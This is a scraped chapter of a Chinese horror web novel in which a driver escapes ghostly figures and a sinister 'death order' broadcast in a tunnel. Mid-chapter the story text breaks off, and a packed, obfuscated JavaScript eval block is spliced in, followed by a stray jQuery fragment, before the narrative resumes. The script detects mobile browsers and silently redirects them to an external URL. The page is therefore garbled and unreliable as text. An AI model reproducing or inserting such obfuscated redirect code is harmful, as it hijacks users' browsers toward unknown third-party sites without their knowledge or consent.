文趣网 > 其他小说 > 废土公路:我把BOSS当货拉 > 16. 第十六章
    姜迟把车停在离那堆翻车五十米的地方。

    三辆大车翻着叠在一起,把隧道塞得只剩边角的一点缝。缝那边,十几盏马灯晃着光,人影绰绰。

    她按了两声喇叭。

    喇叭在隧道里炸出两声闷响,震得耳膜疼。这是隧道里第一次有动静,声音撞在水泥壁上,来回弹,弹了三四个回合才散。

    人群动了。

    一个老头举着马灯朝她走来,一边走一边挥手:“停车!前面塌方了!过不去的!”

    姜迟没开车窗,也没熄火。

    老头走到车窗边上,拍玻璃:“师傅,停车吧!前头真过不去了!我们都堵在这半天了!”

    姜迟隔着玻璃看他。

    老头的马灯举得高高的,灯光从上往下照,把他自己的脸照得一片惨白。

    他身后,更多的人围了上来,男女老少,一个挨一个,全都贴着车窗,一张张脸往里看。

    “师傅,停吧。”一个抱孩子的女人说,“孩子冻得不行了。”

    “停吧停吧。”人群七嘴八舌,“下去烤烤火,等路通了再走。”

    姜迟的目光越过他们,看向那三辆翻倒的车。

    翻车的样式很杂,一辆大货车,一辆客车,还有一辆是拖拉机。

    三辆车翻的姿态都很整齐,侧翻,车轮朝天。车轮不转,车身没有损伤的痕迹,漆色很亮,亮得不像在隧道里翻滚过。

    太干净了。翻车现场应该是碎的,玻璃的碴,漏油的痕,变形的铁皮。这些东西一样都没有。

    那三辆车是摆上去的。

    “师傅!”拍玻璃的声音急了,“你倒是说句话啊!”

    姜迟终于有了反应。她伸手,把近光灯关了。

    隧道里霎时黑了一多半,只剩她车里仪表盘的微光。车外的马灯光从车窗透进来,一张一张人脸浮在黑暗里,还在拍,还在喊。

    然后她打开了雾灯。

    雾灯的光很低,贴着地面扫出去,扫过那群人的脚。

    姜迟看清了他们的脚,呼吸停了半秒。

    那些人的脚都是反的。脚尖朝后,脚跟朝前,整个脚像是被人拧了一百八十度。

    他们走路的样子看着正常,可灯光贴着地皮一照,那种正常就碎了。

    那不是走路,那是飘。脚尖点着地,借着拍打车窗的掩护,往前蹭。

    抱孩子的女人也在往前蹭,孩子趴在她肩上,一双眼睛穿过车窗,直直地盯着姜迟,孩子的脚尖,同样朝后。

    姜迟把雾灯的光压低了一寸。

    光贴着地面,扫过那三辆翻车的底下。

    翻车底下是空的。

    没有底盘,没有油箱,没有传动轴,车壳子就那么摆在地上,底下垫着一掌高的黑影。

    那黑影在动,像毯子,像头发,托着三辆空壳车,一拱一拱。

    人群还在拍窗,可她的眼睛已经不看他们了。她看的是那三辆翻车中间留出的那条缝。

    缝很窄,堪堪够一辆车侧身挤过去。缝里黑漆漆的,可雾灯光扫过去的时候,她看见缝的深处有反光。

    反光的纹路是圆的,一圈一圈。

    跟她手里那枚硬币的花纹,一模一样。

    “让开。”她忽然开口了。

    拍窗声停了半拍。

    “我说,让开。”姜迟的声音不高,“我知道你们不是人,你们也知道我知道。我不停车,你们拦不住我。让开一条道,咱们各走各的。”

    车窗外静了一瞬。

    紧接着,抱孩子的女人笑了。她一笑,周围所有人都跟着笑,笑声在隧道里嗡嗡地撞。

    孩子的脸还是面无表情,可那孩子的嘴裂开了,一直裂到耳根。

    “停车。”女人的声音变了,跟隧道口那个守隧道的一个调子,“这是规矩。听到广播,立即停车。停了车,跟我们站在一起,等下一辆。”

    “第四条是假规矩。”姜迟说,“漆是新的。”

    笑声停了。

    黑暗里,十几盏马灯同时举高,灯光从四面八方照过来,把驾驶室照得雪亮。

    姜迟眯起眼,看见那群人开始往车身上爬,爬上车顶,趴在引擎盖上,一张张脸倒挂着从挡风玻璃上垂下来。

    “停车。”他们齐声说,“或者,我们进来。”

    姜迟挂上了挡。

    她没去管挡风玻璃上那些倒挂的脸,她盯着那条缝,油门一点一点往下压。

    车往前蹭。

    车头离人群越来越近,最近的一张脸几乎贴上了玻璃。姜迟的脚踩在油门上,又往下压了一寸。

    车头碰到人影的那一瞬间,她闭了一下眼。

    没有撞击感。车头穿过人影,像穿过一层凉雾。

    车顶上传来窸窸窣窣的声音,那些趴着的东西散了,马灯一盏一盏灭了,三辆空壳车无声无息地退进了隧道壁里,像被墙吸了进去。

    路让开了。

    那条缝就在眼前,姜迟把车对准,车头擦着隧道壁蹭进去。

    后视镜在水泥壁上刮出一声刺耳的响,她没管,车身一点一点往里挤。

    挤到一半,隧道里的喇叭又响了。

    还是那个女声,平板,可这次说的不是塌方。

    “各位司机朋友请注意。”广播说,“根据本路段规定,现在开始播报通行顺序。请以下人员按顺序通行,违者后果自负。”

    姜迟的心提了起来。

    “第一名,姜迟。”

    广播念出了她的名字。

    念完,喇叭里传出一声轻笑,那笑声不是女声的,是很多声音叠在一起,男女老少,笑得隧道壁都在嗡嗡响。

    “恭喜姜师傅,排在第一位。”广播说,“第一位的好处是,第一个死。”

    车厢里,婴儿的哭声突然炸响。

    紧接着是老太太的声音,老太太在喊:“别报我的名!别报我的名!”

    姜迟从后视镜里看向隔断。隔断上方的缝隙里,黑暗中有几双眼睛在反光。

    广播不理会车厢里的哭喊,慢条斯理地继续:

    “第二名,王秀兰。”

    老太太的哭喊戛然而止。

    “第三名。”广播拖长了调子,像是在享受这一刻,“第三名,姜。”

    姜迟的手猛地一抖。

    “姜什么?”广播笑了,“姜禾。”

    姜禾。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947445|214093||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>这个名字砸进驾驶室的瞬间,姜迟的脑子里一片空白。

    她不认识这个名字。她敢确定,她活了二十六年,从来没听过这两个字。

    可这个名字一响起来,她的心口像被什么东西狠狠剜了一刀,疼得她眼前发黑。

    更不对劲的是备注栏。

    那行小字疯狂地往外冒,一行叠着一行,乱得看不清:

    【别看名单】

    【开你的车】

    【别听】

    【姜迟开你的车】

    落款那个“姐姐”,第一次出现了不是签名的字迹,是潦草的、混乱的笔画,像是写字的人正在发抖。

    隧道里的广播还在笑。

    “姜禾,姜禾。”它一遍遍念着这个名字,“十九年了,这个名字终于又上路了。姜师傅,你车里可真热闹啊。司机,乘客,还有一个藏了十九年的。”

    “死亡顺序即刻生效。”

    隧道深处,亮起了一盏灯。

    不是马灯,是一盏顶灯,惨白的,从隧道顶上一路排过去,一盏一盏往前亮,照出前方笔直的路。路面上一层水,水光倒映着顶灯,像一条亮闪闪的河。

    路的尽头,亮起了一盏红灯。

    红灯的形状是个手掌。

    广播说:“按顺序来,姜迟,你先走。”

    姜迟盯着那盏红灯,又看了一眼疯狂闪烁的备注栏。

    死亡顺序,第一个是姜迟。

    她想起广播自己说过的话。顺序可以播报,可这东西报的是“通行顺序”。通行的顺序,谁规定必须按车道走?

    她低头看了一眼方向盘。

    变道。

    这条路没有分道线,整条隧道都是她的车道。可规则说的是顺序,没说顺序钉在哪条线上。

    姜迟深吸一口气,猛打方向盘。

    车头向右横移,车身斜着切进右边的隧道壁阴影里,然后又猛地打回,斜着切回左边。

    她在隧道里走出了一条曲折的路线,车头压着水面的反光,来回切。

    广播的笑声停了。

    “违规变道。”它的声音第一次急了,“姜迟!你违规!顺序无效!顺序。”

    “你说按顺序通行。”姜迟盯着前方,脚下油门踩死,“你没说按什么顺序。我先走,我现在就走。”

    车朝着那盏红灯手掌冲过去。

    离红灯不到十米的时候,红灯灭了。隧道尽头的黑暗裂开一条缝,缝里有光,是外头的光,是月亮的光。

    出口。

    车身擦着红灯原来的位置冲过,冲进了那条缝里。

    刺眼的白光淹没过来,姜迟下意识地闭眼,再睁开时,隧道已经甩在了身后。

    车停在一片荒地上。前方不远处,青岭七号仓的废墟立在月光下,那半截砖墙,那块烧变形的铁牌,都还在。

    看仓的老头拄着扁担,站在废墟边上,像是已经等了很久。

    而车厢里,哭声停了。

    安静了几秒之后,老太太的声音响起来,抖得不成调:

    “闺女,刚才广播里那个名,姜禾。”老太太说,“那是谁啊?为啥我听见这名字,我这心口疼得受不了啊。”